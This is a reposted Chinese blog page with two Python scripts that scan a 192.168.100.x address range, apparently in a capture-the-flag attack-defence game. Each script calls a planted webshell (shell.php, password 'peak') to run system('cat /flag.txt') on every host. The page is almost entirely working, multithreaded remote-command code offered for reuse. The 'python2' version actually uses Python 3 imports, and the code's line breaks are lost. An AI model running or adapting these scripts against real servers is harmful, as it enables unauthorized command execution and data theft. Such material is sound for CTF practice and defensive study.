自动利用webshell执行系统命令py脚本
生活随笔
收集整理的這篇文章主要介紹了
自动利用webshell执行系统命令py脚本
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
python2腳本
# -*- coding: utf-8 -*- import urllib.request import threadingdef cat_flag():cmd = "cat%20/flag.txt" # 還可用cut -c1- /flag.txtpath = "shell.php"passwd = "peak"for i in range(110, 140):ip = "192.168.100." + str(i)print(ip)system1= 'system("' + cmd + '");'system2 = passwd + "=" + system1url = "http://" + ip + "/" + path + "?" + system2try:response = urllib.request.urlopen(url)html = response.read().decode('utf-8')if "404" in html:print(ip,"#############################################NO flag#######################################################")else:print(ip, html)print("#################################################fflag在上面##################################################")except:passprint("error")t = threading.Thread(target=cat_flag) t.start()python3腳本
# -*- coding: utf-8 -*- import requests import threadingdef get_flag(ip,path,cmd,passwd):system1= 'system("' + cmd + '");'system2 = passwd + "=" + system1url = "http://" + ip + "/" + path + "?" + system2#print(system2)#print(url)try:r = requests.get(url)if "404" in r.text:print("--------------------------------------------------No flag------------------------------------------------------------")print()else:print(url,r.text)print(ip)print("--------------------------------------------------上面是flag---------------------------------------------------------")except:pass cmd = "cat /flag.txt"#還可用cut -c1- /flag.txt path = "shell.php" passwd = "peak"for i in range(1,139):#print(i)ip = "192.168.100."+str(i)#print(ip)t = threading.Thread(target=get_flag,args=(ip,path,cmd,passwd))t.start() 創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎勵來咯,堅持創(chuàng)作打卡瓜分現(xiàn)金大獎總結(jié)
以上是生活随笔為你收集整理的自动利用webshell执行系统命令py脚本的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 粤s是哪里
- 下一篇: Windows同时安装Python2和P